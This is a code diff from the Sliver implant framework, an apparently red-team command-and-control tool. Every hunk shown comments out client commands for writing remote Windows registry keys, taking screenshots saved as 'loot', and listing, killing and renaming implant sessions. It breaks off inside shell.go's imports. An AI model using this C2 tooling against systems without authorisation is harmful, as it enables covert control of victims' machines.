-func registryWriteCmd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- var (
- dwordValue uint32
- qwordValue uint64
- stringValue string
- binaryValue []byte
- )
- session := ActiveSession.Get()
- if session == nil {
- return
- }
+// // registry write --hive HKCU --type dword "software\google\chrome\blbeacon\hello" 32
+// func registryWriteCmd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// var (
+// dwordValue uint32
+// qwordValue uint64
+// stringValue string
+// binaryValue []byte
+// )
+// session := ActiveSession.Get()
+// if session == nil {
+// return
+// }
- if session.OS != "windows" {
- fmt.Printf(Warn + "Error: command not supported on this operating system.")
- return
- }
- binPath := ctx.Flags.String("path")
- hostname := ctx.Flags.String("hostname")
- flagType := ctx.Flags.String("type")
- valType, err := getType(flagType)
- if err != nil {
- fmt.Printf(Warn+"Error: %v", err)
- return
- }
- hive := ctx.Flags.String("hive")
- if err := checkHive(hive); err != nil {
- fmt.Printf(Warn+"Error: %v", err)
- return
- }
+// if session.OS != "windows" {
+// fmt.Printf(Warn + "Error: command not supported on this operating system.")
+// return
+// }
+// binPath := ctx.Flags.String("path")
+// hostname := ctx.Flags.String("hostname")
+// flagType := ctx.Flags.String("type")
+// valType, err := getType(flagType)
+// if err != nil {
+// fmt.Printf(Warn+"Error: %v", err)
+// return
+// }
+// hive := ctx.Flags.String("hive")
+// if err := checkHive(hive); err != nil {
+// fmt.Printf(Warn+"Error: %v", err)
+// return
+// }
- regPath := ctx.Args.String("registry-path")
- value := ctx.Args.String("value")
- if regPath == "" || value == "" {
- fmt.Printf(Warn + "you must provide a path and a value to write")
- return
- }
- if strings.Contains(regPath, "/") {
- regPath = strings.ReplaceAll(regPath, "/", "\\")
- }
- slashIndex := strings.LastIndex(regPath, "\\")
- key := regPath[slashIndex+1:]
- regPath = regPath[:slashIndex]
- switch valType {
- case sliverpb.RegistryTypeBinary:
- var (
- v []byte
- err error
- )
- if binPath == "" {
- v, err = hex.DecodeString(value)
- if err != nil {
- fmt.Printf(Warn+"Error: %v", err)
- return
- }
- } else {
- v, err = ioutil.ReadFile(binPath)
- if err != nil {
- fmt.Printf(Warn+"Error: %v", err)
- return
- }
- }
- binaryValue = v
- case sliverpb.RegistryTypeDWORD:
- v, err := strconv.ParseUint(value, 10, 32)
- if err != nil {
- fmt.Printf(Warn+"Error: %v", err)
- return
- }
- dwordValue = uint32(v)
- case sliverpb.RegistryTypeQWORD:
- v, err := strconv.ParseUint(value, 10, 64)
- if err != nil {
- fmt.Printf(Warn+"Error: %v", err)
- return
- }
- qwordValue = v
- case sliverpb.RegistryTypeString:
- stringValue = value
- default:
- fmt.Printf(Warn + "Invalid type")
- return
- }
- regWrite, err := rpc.RegistryWrite(context.Background(), &sliverpb.RegistryWriteReq{
- Request: ActiveSession.Request(ctx),
- Hostname: hostname,
- Hive: hive,
- Path: regPath,
- Type: valType,
- Key: key,
- StringValue: stringValue,
- DWordValue: dwordValue,
- QWordValue: qwordValue,
- ByteValue: binaryValue,
- })
+// regPath := ctx.Args.String("registry-path")
+// value := ctx.Args.String("value")
+// if regPath == "" || value == "" {
+// fmt.Printf(Warn + "you must provide a path and a value to write")
+// return
+// }
+// if strings.Contains(regPath, "/") {
+// regPath = strings.ReplaceAll(regPath, "/", "\\")
+// }
+// slashIndex := strings.LastIndex(regPath, "\\")
+// key := regPath[slashIndex+1:]
+// regPath = regPath[:slashIndex]
+// switch valType {
+// case sliverpb.RegistryTypeBinary:
+// var (
+// v []byte
+// err error
+// )
+// if binPath == "" {
+// v, err = hex.DecodeString(value)
+// if err != nil {
+// fmt.Printf(Warn+"Error: %v", err)
+// return
+// }
+// } else {
+// v, err = ioutil.ReadFile(binPath)
+// if err != nil {
+// fmt.Printf(Warn+"Error: %v", err)
+// return
+// }
+// }
+// binaryValue = v
+// case sliverpb.RegistryTypeDWORD:
+// v, err := strconv.ParseUint(value, 10, 32)
+// if err != nil {
+// fmt.Printf(Warn+"Error: %v", err)
+// return
+// }
+// dwordValue = uint32(v)
+// case sliverpb.RegistryTypeQWORD:
+// v, err := strconv.ParseUint(value, 10, 64)
+// if err != nil {
+// fmt.Printf(Warn+"Error: %v", err)
+// return
+// }
+// qwordValue = v
+// case sliverpb.RegistryTypeString:
+// stringValue = value
+// default:
+// fmt.Printf(Warn + "Invalid type")
+// return
+// }
+// regWrite, err := rpc.RegistryWrite(context.Background(), &sliverpb.RegistryWriteReq{
+// Request: ActiveSession.Request(ctx),
+// Hostname: hostname,
+// Hive: hive,
+// Path: regPath,
+// Type: valType,
+// Key: key,
+// StringValue: stringValue,
+// DWordValue: dwordValue,
+// QWordValue: qwordValue,
+// ByteValue: binaryValue,
+// })
- if err != nil {
- fmt.Printf(Warn+"Error: %v", err)
- return
- }
- if regWrite.Response != nil && regWrite.Response.Err != "" {
- fmt.Printf(Warn+"Error: %v", regWrite.Response.Err)
- return
- }
- fmt.Printf(Info + "Value written to registry\n")
-}
+// if err != nil {
+// fmt.Printf(Warn+"Error: %v", err)
+// return
+// }
+// if regWrite.Response != nil && regWrite.Response.Err != "" {
+// fmt.Printf(Warn+"Error: %v", regWrite.Response.Err)
+// return
+// }
+// fmt.Printf(Info + "Value written to registry\n")
+// }
-func regCreateKeyCmd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- session := ActiveSession.Get()
- if session == nil {
- return
- }
+// func regCreateKeyCmd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// session := ActiveSession.Get()
+// if session == nil {
+// return
+// }
- hostname := ctx.Flags.String("hostname")
- hive := ctx.Flags.String("hive")
- if err := checkHive(hive); err != nil {
- fmt.Printf(Warn+"Error: %v", err)
- return
- }
+// hostname := ctx.Flags.String("hostname")
+// hive := ctx.Flags.String("hive")
+// if err := checkHive(hive); err != nil {
+// fmt.Printf(Warn+"Error: %v", err)
+// return
+// }
- regPath := ctx.Args.String("registry-path")
- if regPath == "" {
- fmt.Printf(Warn + "you must provide a path")
- return
- }
- if strings.Contains(regPath, "/") {
- regPath = strings.ReplaceAll(regPath, "/", "\\")
- }
- slashIndex := strings.LastIndex(regPath, "\\")
- key := regPath[slashIndex+1:]
- regPath = regPath[:slashIndex]
- createKeyResp, err := rpc.RegistryCreateKey(context.Background(), &sliverpb.RegistryCreateKeyReq{
- Hive: hive,
- Path: regPath,
- Key: key,
- Hostname: hostname,
- Request: ActiveSession.Request(ctx),
- })
+// regPath := ctx.Args.String("registry-path")
+// if regPath == "" {
+// fmt.Printf(Warn + "you must provide a path")
+// return
+// }
+// if strings.Contains(regPath, "/") {
+// regPath = strings.ReplaceAll(regPath, "/", "\\")
+// }
+// slashIndex := strings.LastIndex(regPath, "\\")
+// key := regPath[slashIndex+1:]
+// regPath = regPath[:slashIndex]
+// createKeyResp, err := rpc.RegistryCreateKey(context.Background(), &sliverpb.RegistryCreateKeyReq{
+// Hive: hive,
+// Path: regPath,
+// Key: key,
+// Hostname: hostname,
+// Request: ActiveSession.Request(ctx),
+// })
- if err != nil {
- fmt.Printf(Warn+"Error: %v", err)
- return
- }
+// if err != nil {
+// fmt.Printf(Warn+"Error: %v", err)
+// return
+// }
- if createKeyResp.Response != nil && createKeyResp.Response.Err != "" {
- fmt.Printf(Warn+"Error: %s", createKeyResp.Response.Err)
- return
- }
- fmt.Printf(Info+"Key created at %s\\%s", regPath, key)
-}
+// if createKeyResp.Response != nil && createKeyResp.Response.Err != "" {
+// fmt.Printf(Warn+"Error: %s", createKeyResp.Response.Err)
+// return
+// }
+// fmt.Printf(Info+"Key created at %s\\%s", regPath, key)
+// }
diff --git a/client/command/screenshot.go b/client/command/screenshot.go
index 2d0f9af85c..7656b99fd1 100644
--- a/client/command/screenshot.go
+++ b/client/command/screenshot.go
@@ -1,75 +1,75 @@
package command
-/*
- Sliver Implant Framework
- Copyright (C) 2019 Bishop Fox
+// /*
+// Sliver Implant Framework
+// Copyright (C) 2019 Bishop Fox
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation, either version 3 of the License, or
- (at your option) any later version.
+// This program is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
+// This program is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+// GNU General Public License for more details.
- You should have received a copy of the GNU General Public License
- along with this program. If not, see .
-*/
+// You should have received a copy of the GNU General Public License
+// along with this program. If not, see .
+// */
-import (
- "context"
- "fmt"
- "io/ioutil"
- "path"
- "time"
+// import (
+// "context"
+// "fmt"
+// "io/ioutil"
+// "path"
+// "time"
- "github.com/bishopfox/sliver/protobuf/rpcpb"
- "github.com/bishopfox/sliver/protobuf/sliverpb"
+// "github.com/bishopfox/sliver/protobuf/rpcpb"
+// "github.com/bishopfox/sliver/protobuf/sliverpb"
- "github.com/desertbit/grumble"
-)
+// "github.com/desertbit/grumble"
+// )
-func screenshot(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- session := ActiveSession.GetInteractive()
- if session == nil {
- return
- }
+// func screenshot(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// session := ActiveSession.GetInteractive()
+// if session == nil {
+// return
+// }
- if session.OS != "windows" && session.OS != "linux" {
- fmt.Printf(Warn+"Not implemented for %s\n", session.OS)
- return
- }
+// if session.OS != "windows" && session.OS != "linux" {
+// fmt.Printf(Warn+"Not implemented for %s\n", session.OS)
+// return
+// }
- screenshot, err := rpc.Screenshot(context.Background(), &sliverpb.ScreenshotReq{
- Request: ActiveSession.Request(ctx),
- })
- if err != nil {
- fmt.Printf(Warn+"%s\n", err)
- return
- }
+// screenshot, err := rpc.Screenshot(context.Background(), &sliverpb.ScreenshotReq{
+// Request: ActiveSession.Request(ctx),
+// })
+// if err != nil {
+// fmt.Printf(Warn+"%s\n", err)
+// return
+// }
- timestamp := time.Now().Format("20060102150405")
- tmpFileName := path.Base(fmt.Sprintf("screenshot_%s_%d_%s_*.png", session.Name, session.ID, timestamp))
- tmpFile, err := ioutil.TempFile("", tmpFileName)
- if err != nil {
- fmt.Printf(Warn+"%s\n", err)
- return
- }
- err = ioutil.WriteFile(tmpFile.Name(), screenshot.Data, 0600)
- if err != nil {
- fmt.Printf(Warn+"Error writting file: %s\n", err)
- return
- }
- fmt.Printf(bold+"Screenshot written to %s\n", tmpFile.Name())
+// timestamp := time.Now().Format("20060102150405")
+// tmpFileName := path.Base(fmt.Sprintf("screenshot_%s_%d_%s_*.png", session.Name, session.ID, timestamp))
+// tmpFile, err := ioutil.TempFile("", tmpFileName)
+// if err != nil {
+// fmt.Printf(Warn+"%s\n", err)
+// return
+// }
+// err = ioutil.WriteFile(tmpFile.Name(), screenshot.Data, 0600)
+// if err != nil {
+// fmt.Printf(Warn+"Error writting file: %s\n", err)
+// return
+// }
+// fmt.Printf(bold+"Screenshot written to %s\n", tmpFile.Name())
- if ctx.Flags.Bool("loot") && 0 < len(screenshot.Data) {
- err = AddLootFile(rpc, fmt.Sprintf("[screenshot] %s", timestamp), tmpFileName, screenshot.Data, false)
- if err != nil {
- fmt.Printf(Warn+"Failed to save output as loot: %s\n", err)
- } else {
- fmt.Printf(clearln + Info + "Output saved as loot\n")
- }
- }
-}
+// if ctx.Flags.Bool("loot") && 0 < len(screenshot.Data) {
+// err = AddLootFile(rpc, fmt.Sprintf("[screenshot] %s", timestamp), tmpFileName, screenshot.Data, false)
+// if err != nil {
+// fmt.Printf(Warn+"Failed to save output as loot: %s\n", err)
+// } else {
+// fmt.Printf(clearln + Info + "Output saved as loot\n")
+// }
+// }
+// }
diff --git a/client/command/sessions.go b/client/command/sessions.go
index fa4f88da36..e970ff6ed9 100644
--- a/client/command/sessions.go
+++ b/client/command/sessions.go
@@ -1,235 +1,235 @@
package command
-/*
- Sliver Implant Framework
- Copyright (C) 2019 Bishop Fox
-
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation, either version 3 of the License, or
- (at your option) any later version.
-
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
-
- You should have received a copy of the GNU General Public License
- along with this program. If not, see .
-*/
-
-import (
- "bytes"
- "context"
- "errors"
- "fmt"
- "sort"
- "strings"
- "text/tabwriter"
-
- "github.com/bishopfox/sliver/protobuf/clientpb"
- "github.com/bishopfox/sliver/protobuf/commonpb"
- "github.com/bishopfox/sliver/protobuf/rpcpb"
- "github.com/bishopfox/sliver/protobuf/sliverpb"
-
- "github.com/desertbit/grumble"
-)
-
-func sessions(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
-
- interact := ctx.Flags.String("interact")
- kill := ctx.Flags.String("kill")
- killAll := ctx.Flags.Bool("kill-all")
- clean := ctx.Flags.Bool("clean")
-
- sessions, err := rpc.GetSessions(context.Background(), &commonpb.Empty{})
- if err != nil {
- fmt.Printf(Warn+"%s\n", err)
- return
- }
-
- if killAll {
- ActiveSession.Background()
- for _, session := range sessions.Sessions {
- err := killSession(session, true, rpc)
- if err != nil {
- fmt.Printf(Warn+"%s\n", err)
- }
- fmt.Printf(Info+"\nKilled %s (%d)\n", session.Name, session.ID)
- }
- return
- }
-
- if clean {
- ActiveSession.Background()
- for _, session := range sessions.Sessions {
- if session.IsDead {
- err := killSession(session, true, rpc)
- if err != nil {
- fmt.Printf(Warn+"%s\n", err)
- }
- fmt.Printf(Info+"\nKilled %s (%d)\n", session.Name, session.ID)
- }
- }
- return
- }
- if kill != "" {
- session := GetSession(kill, rpc)
- activeSession := ActiveSession.Get()
- if activeSession != nil && session.ID == activeSession.ID {
- ActiveSession.Background()
- }
- err := killSession(session, true, rpc)
- if err != nil {
- fmt.Printf(Warn+"%s\n", err)
- }
- return
- }
-
- if interact != "" {
- session := GetSession(interact, rpc)
- if session != nil {
- ActiveSession.Set(session)
- fmt.Printf(Info+"Active session %s (%d)\n", session.Name, session.ID)
- } else {
- fmt.Printf(Warn+"Invalid session name or session number: %s\n", interact)
- }
- } else {
- sessionsMap := map[uint32]*clientpb.Session{}
- for _, session := range sessions.GetSessions() {
- sessionsMap[session.ID] = session
- }
- if 0 < len(sessionsMap) {
- printSessions(sessionsMap)
- } else {
- fmt.Printf(Info + "No sessions š\n")
- }
- }
-}
-
-/*
- So this method is a little more complex than you'd maybe think,
- this is because Go's tabwriter aligns columns by counting bytes
- and since we want to modify the color of the active sliver row
- the number of bytes per row won't line up. So we render the table
- into a buffer and note which row the active sliver is in. Then we
- write each line to the term and insert the ANSI codes just before
- we display the row.
-*/
-func printSessions(sessions map[uint32]*clientpb.Session) {
- outputBuf := bytes.NewBufferString("")
- table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
-
- // Column Headers
- fmt.Fprintln(table, "ID\tName\tTransport\tRemote Address\tHostname\tUsername\tOperating System\tLast Check-in\tHealth\t")
- fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\t\n",
- strings.Repeat("=", len("ID")),
- strings.Repeat("=", len("Name")),
- strings.Repeat("=", len("Transport")),
- strings.Repeat("=", len("Remote Address")),
- strings.Repeat("=", len("Hostname")),
- strings.Repeat("=", len("Username")),
- strings.Repeat("=", len("Operating System")),
- strings.Repeat("=", len("Last Check-in")),
- strings.Repeat("=", len("Health")))
- // strings.Repeat("=", len("Burned")))
-
- // Sort the keys because maps have a randomized order
- var keys []int
- for _, session := range sessions {
- keys = append(keys, int(session.ID))
- }
- sort.Ints(keys) // Fucking Go can't sort int32's, so we convert to/from int's
-
- activeIndex := -1
- for index, key := range keys {
- session := sessions[uint32(key)]
- if ActiveSession.Get() != nil && ActiveSession.Get().ID == session.ID {
- activeIndex = index + 2 // Two lines for the headers
- }
-
- var SessionHealth string
- if session.IsDead {
- SessionHealth = bold + red + "[DEAD]" + normal
- } else {
- SessionHealth = bold + green + "[ALIVE]" + normal
- }
- burned := ""
- if session.Burned {
- burned = "š„"
- }
-
- fmt.Fprintf(table, "%d\t%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
- session.ID,
- session.Name,
- session.Transport,
- session.RemoteAddress,
- session.Hostname,
- session.Username,
- fmt.Sprintf("%s/%s", session.OS, session.Arch),
- session.LastCheckin,
- SessionHealth,
- burned,
- )
- }
- table.Flush()
-
- if activeIndex != -1 {
- lines := strings.Split(outputBuf.String(), "\n")
- for lineNumber, line := range lines {
- if len(line) == 0 {
- continue
- }
- if lineNumber == activeIndex {
- fmt.Printf("%s%s%s\n", green, line, normal)
- } else {
- fmt.Printf("%s\n", line)
- }
- }
- } else {
- fmt.Printf(outputBuf.String())
- }
-}
-
-func use(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- session := GetSession(ctx.Args.String("session"), rpc)
- if session != nil {
- ActiveSession.Set(session)
- fmt.Printf(Info+"Active session %s (%d)\n", session.Name, session.ID)
- } else {
- fmt.Printf(Warn+"Invalid session name or session number '%s'\n", ctx.Args.String("session"))
- }
-}
-
-func background(ctx *grumble.Context, _ rpcpb.SliverRPCClient) {
- ActiveSession.Background()
- fmt.Printf(Info + "Background ...\n")
-}
-
-func kill(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- session := ActiveSession.GetInteractive()
- if session == nil {
- return
- }
-
- err := killSession(session, ctx.Flags.Bool("force"), rpc)
- if err != nil {
- fmt.Printf(Warn+"%s\n", err)
- return
- }
- fmt.Printf(Info+"Killed %s (%d)\n", session.Name, session.ID)
- ActiveSession.Background()
-}
-
-func killSession(session *clientpb.Session, force bool, rpc rpcpb.SliverRPCClient) error {
- if session == nil {
- return errors.New("Session does not exist")
- }
- _, err := rpc.KillSession(context.Background(), &sliverpb.KillSessionReq{
- Request: &commonpb.Request{
- SessionID: session.ID,
- },
- Force: force,
- })
- return err
-}
+// /*
+// Sliver Implant Framework
+// Copyright (C) 2019 Bishop Fox
+
+// This program is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+
+// This program is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+// GNU General Public License for more details.
+
+// You should have received a copy of the GNU General Public License
+// along with this program. If not, see .
+// */
+
+// import (
+// "bytes"
+// "context"
+// "errors"
+// "fmt"
+// "sort"
+// "strings"
+// "text/tabwriter"
+
+// "github.com/bishopfox/sliver/protobuf/clientpb"
+// "github.com/bishopfox/sliver/protobuf/commonpb"
+// "github.com/bishopfox/sliver/protobuf/rpcpb"
+// "github.com/bishopfox/sliver/protobuf/sliverpb"
+
+// "github.com/desertbit/grumble"
+// )
+
+// func sessions(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+
+// interact := ctx.Flags.String("interact")
+// kill := ctx.Flags.String("kill")
+// killAll := ctx.Flags.Bool("kill-all")
+// clean := ctx.Flags.Bool("clean")
+
+// sessions, err := rpc.GetSessions(context.Background(), &commonpb.Empty{})
+// if err != nil {
+// fmt.Printf(Warn+"%s\n", err)
+// return
+// }
+
+// if killAll {
+// ActiveSession.Background()
+// for _, session := range sessions.Sessions {
+// err := killSession(session, true, rpc)
+// if err != nil {
+// fmt.Printf(Warn+"%s\n", err)
+// }
+// fmt.Printf(Info+"\nKilled %s (%d)\n", session.Name, session.ID)
+// }
+// return
+// }
+
+// if clean {
+// ActiveSession.Background()
+// for _, session := range sessions.Sessions {
+// if session.IsDead {
+// err := killSession(session, true, rpc)
+// if err != nil {
+// fmt.Printf(Warn+"%s\n", err)
+// }
+// fmt.Printf(Info+"\nKilled %s (%d)\n", session.Name, session.ID)
+// }
+// }
+// return
+// }
+// if kill != "" {
+// session := GetSession(kill, rpc)
+// activeSession := ActiveSession.Get()
+// if activeSession != nil && session.ID == activeSession.ID {
+// ActiveSession.Background()
+// }
+// err := killSession(session, true, rpc)
+// if err != nil {
+// fmt.Printf(Warn+"%s\n", err)
+// }
+// return
+// }
+
+// if interact != "" {
+// session := GetSession(interact, rpc)
+// if session != nil {
+// ActiveSession.Set(session)
+// fmt.Printf(Info+"Active session %s (%d)\n", session.Name, session.ID)
+// } else {
+// fmt.Printf(Warn+"Invalid session name or session number: %s\n", interact)
+// }
+// } else {
+// sessionsMap := map[uint32]*clientpb.Session{}
+// for _, session := range sessions.GetSessions() {
+// sessionsMap[session.ID] = session
+// }
+// if 0 < len(sessionsMap) {
+// printSessions(sessionsMap)
+// } else {
+// fmt.Printf(Info + "No sessions š\n")
+// }
+// }
+// }
+
+// /*
+// So this method is a little more complex than you'd maybe think,
+// this is because Go's tabwriter aligns columns by counting bytes
+// and since we want to modify the color of the active sliver row
+// the number of bytes per row won't line up. So we render the table
+// into a buffer and note which row the active sliver is in. Then we
+// write each line to the term and insert the ANSI codes just before
+// we display the row.
+// */
+// func printSessions(sessions map[uint32]*clientpb.Session) {
+// outputBuf := bytes.NewBufferString("")
+// table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
+
+// // Column Headers
+// fmt.Fprintln(table, "ID\tName\tTransport\tRemote Address\tHostname\tUsername\tOperating System\tLast Check-in\tHealth\t")
+// fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\t\n",
+// strings.Repeat("=", len("ID")),
+// strings.Repeat("=", len("Name")),
+// strings.Repeat("=", len("Transport")),
+// strings.Repeat("=", len("Remote Address")),
+// strings.Repeat("=", len("Hostname")),
+// strings.Repeat("=", len("Username")),
+// strings.Repeat("=", len("Operating System")),
+// strings.Repeat("=", len("Last Check-in")),
+// strings.Repeat("=", len("Health")))
+// // strings.Repeat("=", len("Burned")))
+
+// // Sort the keys because maps have a randomized order
+// var keys []int
+// for _, session := range sessions {
+// keys = append(keys, int(session.ID))
+// }
+// sort.Ints(keys) // Fucking Go can't sort int32's, so we convert to/from int's
+
+// activeIndex := -1
+// for index, key := range keys {
+// session := sessions[uint32(key)]
+// if ActiveSession.Get() != nil && ActiveSession.Get().ID == session.ID {
+// activeIndex = index + 2 // Two lines for the headers
+// }
+
+// var SessionHealth string
+// if session.IsDead {
+// SessionHealth = bold + red + "[DEAD]" + normal
+// } else {
+// SessionHealth = bold + green + "[ALIVE]" + normal
+// }
+// burned := ""
+// if session.Burned {
+// burned = "š„"
+// }
+
+// fmt.Fprintf(table, "%d\t%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
+// session.ID,
+// session.Name,
+// session.Transport,
+// session.RemoteAddress,
+// session.Hostname,
+// session.Username,
+// fmt.Sprintf("%s/%s", session.OS, session.Arch),
+// session.LastCheckin,
+// SessionHealth,
+// burned,
+// )
+// }
+// table.Flush()
+
+// if activeIndex != -1 {
+// lines := strings.Split(outputBuf.String(), "\n")
+// for lineNumber, line := range lines {
+// if len(line) == 0 {
+// continue
+// }
+// if lineNumber == activeIndex {
+// fmt.Printf("%s%s%s\n", green, line, normal)
+// } else {
+// fmt.Printf("%s\n", line)
+// }
+// }
+// } else {
+// fmt.Printf(outputBuf.String())
+// }
+// }
+
+// func use(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// session := GetSession(ctx.Args.String("session"), rpc)
+// if session != nil {
+// ActiveSession.Set(session)
+// fmt.Printf(Info+"Active session %s (%d)\n", session.Name, session.ID)
+// } else {
+// fmt.Printf(Warn+"Invalid session name or session number '%s'\n", ctx.Args.String("session"))
+// }
+// }
+
+// func background(ctx *grumble.Context, _ rpcpb.SliverRPCClient) {
+// ActiveSession.Background()
+// fmt.Printf(Info + "Background ...\n")
+// }
+
+// func kill(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// session := ActiveSession.GetInteractive()
+// if session == nil {
+// return
+// }
+
+// err := killSession(session, ctx.Flags.Bool("force"), rpc)
+// if err != nil {
+// fmt.Printf(Warn+"%s\n", err)
+// return
+// }
+// fmt.Printf(Info+"Killed %s (%d)\n", session.Name, session.ID)
+// ActiveSession.Background()
+// }
+
+// func killSession(session *clientpb.Session, force bool, rpc rpcpb.SliverRPCClient) error {
+// if session == nil {
+// return errors.New("Session does not exist")
+// }
+// _, err := rpc.KillSession(context.Background(), &sliverpb.KillSessionReq{
+// Request: &commonpb.Request{
+// SessionID: session.ID,
+// },
+// Force: force,
+// })
+// return err
+// }
diff --git a/client/command/set.go b/client/command/set.go
index 62f46b418a..24d0478307 100644
--- a/client/command/set.go
+++ b/client/command/set.go
@@ -1,65 +1,65 @@
package command
-/*
- Sliver Implant Framework
- Copyright (C) 2019 Bishop Fox
+// /*
+// Sliver Implant Framework
+// Copyright (C) 2019 Bishop Fox
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation, either version 3 of the License, or
- (at your option) any later version.
+// This program is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
+// This program is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+// GNU General Public License for more details.
- You should have received a copy of the GNU General Public License
- along with this program. If not, see .
-*/
+// You should have received a copy of the GNU General Public License
+// along with this program. If not, see .
+// */
-import (
- "context"
- "fmt"
- "regexp"
+// import (
+// "context"
+// "fmt"
+// "regexp"
- //consts "github.com/bishopfox/sliver/client/constants"
- "github.com/bishopfox/sliver/protobuf/clientpb"
- "github.com/bishopfox/sliver/protobuf/rpcpb"
+// //consts "github.com/bishopfox/sliver/client/constants"
+// "github.com/bishopfox/sliver/protobuf/clientpb"
+// "github.com/bishopfox/sliver/protobuf/rpcpb"
- "github.com/desertbit/grumble"
-)
+// "github.com/desertbit/grumble"
+// )
-func updateSessionCmd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// func updateSessionCmd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- // Option to change the agent name
- name := ctx.Flags.String("name")
- if name != "" {
- isAlphanumeric := regexp.MustCompile(`^[[:alnum:]]+$`).MatchString
- if !isAlphanumeric(name) {
- fmt.Printf(Warn + "Name must be in alphanumeric only\n")
- return
- }
- }
+// // Option to change the agent name
+// name := ctx.Flags.String("name")
+// if name != "" {
+// isAlphanumeric := regexp.MustCompile(`^[[:alnum:]]+$`).MatchString
+// if !isAlphanumeric(name) {
+// fmt.Printf(Warn + "Name must be in alphanumeric only\n")
+// return
+// }
+// }
- // Option to change the reconnect interval
- reconnect := ctx.Flags.Int("reconnect")
+// // Option to change the reconnect interval
+// reconnect := ctx.Flags.Int("reconnect")
- // Option to change the reconnect interval
- poll := ctx.Flags.Int("poll")
+// // Option to change the reconnect interval
+// poll := ctx.Flags.Int("poll")
- session, err := rpc.UpdateSession(context.Background(), &clientpb.UpdateSession{
- SessionID: ActiveSession.session.ID,
- Name: name,
- ReconnectInterval: int32(reconnect),
- PollInterval: int32(poll),
- })
+// session, err := rpc.UpdateSession(context.Background(), &clientpb.UpdateSession{
+// SessionID: ActiveSession.session.ID,
+// Name: name,
+// ReconnectInterval: int32(reconnect),
+// PollInterval: int32(poll),
+// })
- if err != nil {
- fmt.Printf(Warn+"Error: %v", err)
- return
- }
+// if err != nil {
+// fmt.Printf(Warn+"Error: %v", err)
+// return
+// }
- ActiveSession.Set(session)
+// ActiveSession.Set(session)
-}
+// }
diff --git a/client/command/shell.go b/client/command/shell.go
index 50e88dd19f..20cf9f3f32 100644
--- a/client/command/shell.go
+++ b/client/command/shell.go
@@ -1,267 +1,267 @@
package command
-/*
- Sliver Implant Framework
- Copyright (C) 2019 Bishop Fox
+// /*
+// Sliver Implant Framework
+// Copyright (C) 2019 Bishop Fox
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation, either version 3 of the License, or
- (at your option) any later version.
+// This program is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
+// This program is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+// GNU General Public License for more details.
- You should have received a copy of the GNU General Public License
- along with this program. If not, see .
-*/
+// You should have received a copy of the GNU General Public License
+// along with this program. If not, see .
+// */
-import (
- "bufio"
- "bytes"
- "context"
- "errors"
- "fmt"
- "io"
- "io/ioutil"
- "log"
- "os"
- "strings"
- "text/tabwriter"
+// import (
+// "bufio"
+// "bytes"
+// "context"
+// "errors"
+// "fmt"
+// "io"
+// "io/ioutil"
+// "log"
+// "os"
